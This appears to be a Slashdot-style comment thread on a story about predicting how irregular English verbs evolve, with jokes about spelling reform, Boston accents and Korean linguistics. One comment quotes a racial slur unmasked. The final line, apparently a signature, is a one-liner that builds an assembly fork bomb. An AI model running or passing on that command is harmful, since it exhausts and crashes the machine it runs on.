The Evolution of Language
TaeKwonDood writes "We all know language has evolved but mathematicians are trying to take how it has changed in the past to predict what it will be like in the future." From the article: "Mathematical analysis of this linguistic evolution reveals that irregular verb conjugations behave in an extremely regular way -- one that can yield predictions and insights into the future stages of a verb's evolutionary trajectory," says Lieberman, a graduate student in applied mathematics in Harvard's School of Engineering and Applied Sciences and in the Harvard-MIT Division of Health Sciences and Technology, and an affiliate of Harvard's Program for Evolutionary Dynamics. "We measured something no one really thought could be measured, and got a striking and beautiful result.""
For example, in Year 1 that useless letter "c" would be dropped to be replased either by "k" or "s", and likewise "x" would no longer be part of the alphabet. The only kase in which "c" would be retained would be the "ch" formation, which will be dealt with later. Year 2 might reform "w" spelling, so that "which" and "one" would take the same konsonant, wile Year 3 might well abolish "y" replasing it with "i" and iear 4 might fiks the "g/j" anomali wonse and for all.
Generally, then, the improvement would kontinue iear bai iear with iear 5 doing awai with useless double konsonants, and iears 6-12 or so modifaiing vowlz and the rimeiniing voist and unvoist konsonants. Bai iear 15 or sou, it wud fainali bi posibl tu meik ius ov thi ridandant letez "c", "y" and "x" bai now jast a memori in the maindz ov ould doderez tu riplais "ch", "sh", and "th" rispektivili.
Fainali, xen, aafte sam 20 iers ov orxogrefkl riform, wi wud hev alojikl, kohirnt speling in ius xrewawt xe Ingliy-spiking werld.
Sorry, but this is absolutely false. Korean has dialects that differ significantly from each other - there is no single unified language. Nor did the king ever standardize the language. Korean is no more artificial than any other human language. This appears to be a garbled version of the development of the Hangul alphabet by king Sejong and his advisors. This was a great development, but it was just a writing system, not a standardization of the language itself.
Furthermore, it is not true that someone who speaks Chinese or Japanese can quickly pick up Korean. Chinese and Korean are not only unrelated but of radically different types. Chinese speakers find Korean quite difficult. Japanese speakers find Korean somewhat easier because the two languages are very similar in grammatical type, but even so most of the vocabulary is quite unfamiliar and the morphology, though similar in a general typological way, is quite different in detail.
"Why?" asks the confused, surviving waiter amidst the carnage, as the panda makes towards the exit. The panda produces a badly punctuated wildlife manual and tosses it over his shoulder.
"Well, I'm a panda," he says at the door. "Look it up."
The waiter turns to the relevant entry in the manual and, sure enough, finds an explanation. "Panda. Large black-and-white bear-like mammal, native to China. Eats, shoots and leaves."
As a Massachusetts resident, I have no idear what happens to the ahs.
What really cracked me up is the day they decided to rename, "Great Woods Performing Arts Center", to the, "Tweeter Center for the Performing Arts". It's like they tried to purposely add more ahs!
"Hey Boston Guy, where's the concert?"
Worcester is pronounced Wusta"It's at the Tweetah Centah for the Performin' Ahts!"
It depends on the speaker. Sometimes its more like Wista. Either way it's usually followed most times by, "Spag's", as in, "If we're going to bother to go to that wretched hive of scum and villainy, Wista, we might as well stop at Spag's".
They haven't just evolved - they've completely morphed!To the point where sometimes people don't understand the normal pronunciation!
True story:
One day I went to a, "Boston Market", with my coworker for lunch. On this particular day, we were unfortunate enough to be waited upon by a guy with a Southy accent so thick you'd swear he was an extra from, "Good Will Hunting".
In case you're lucky enough to be from another country and have never encountered one of these abominations of cuisine, some explanation is in order. Boston Market is a fast food restaurant that sells mainly rotisserie-cooked poultry dishes with your choice of side. At Boston Market you can get a chicken dish that consists of a leg and thigh, which is called a, "Quarter Dark". This is the item that I was prepared to order.
I am not originally from Massashusetts, and so my pronunciation of these two words are almost identical to anyone in the civilized world (not entirely, or that would be, "civilised world"). I approached the register and ordered:
Me: "I would like a quarter dark, please."
Him: "Excuse me?"
Me (loudly): "A quarter dark, please."
Him: "What?"
Me: "QWAHTAH DAHK!!!"
Him: "Oh, a qwahtah dahk..."
At least, "job", isn't pronounced like, "jaerb".
Yet.
Show me on the doll where his noodly appendage touched you.
Another example is that Modern English has a "weird" class of adjectives beginning in 'a' that don't be have like other adjectives: asleep awry alive, etc. -- there's a pile of them. I talked to a professor of linguistics, who had published a fairly well known textbook on syntax, and he seemed genuinely puzzled by them. But a basic familiarity with language change reveals that they are actually fossilized prepositional phrases. Cf. the line in A Clockwork Orange, "While you are on life" = "While you are alive". So what looks like an unmotivated class of irregular adjectives is actually just the evolutionary reflex of a very normal, regular syntactic structure.
To add to the confusion, we're now getting a similar class of irregular adverbs with the derivation from the article 'a' rather than an old preposition, "alot", "awhile", etc., which while denegrated as ignorant spelling are actually a clue to the writer's understanding of the language. In a hundred years (or is that "ahundred"?), people without knowledge of English's history will think we have a class of irregular adjectives *and* adverbs, blissfully unaware that they are just evolved forms of very regular structures.
Oh, and the properties of Chinese have nothing to do with writing or a lack thereof.
Sheesh, evil *and* a jerk. -- Jade
In the UK the Daily Telegraph, a right wing newspaper quoted someone as calling someone else a "F*cking Nigger". The Guardian, a left wing paper, said that they should have written it as as "Fucking N**ger" which I thought was funny.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;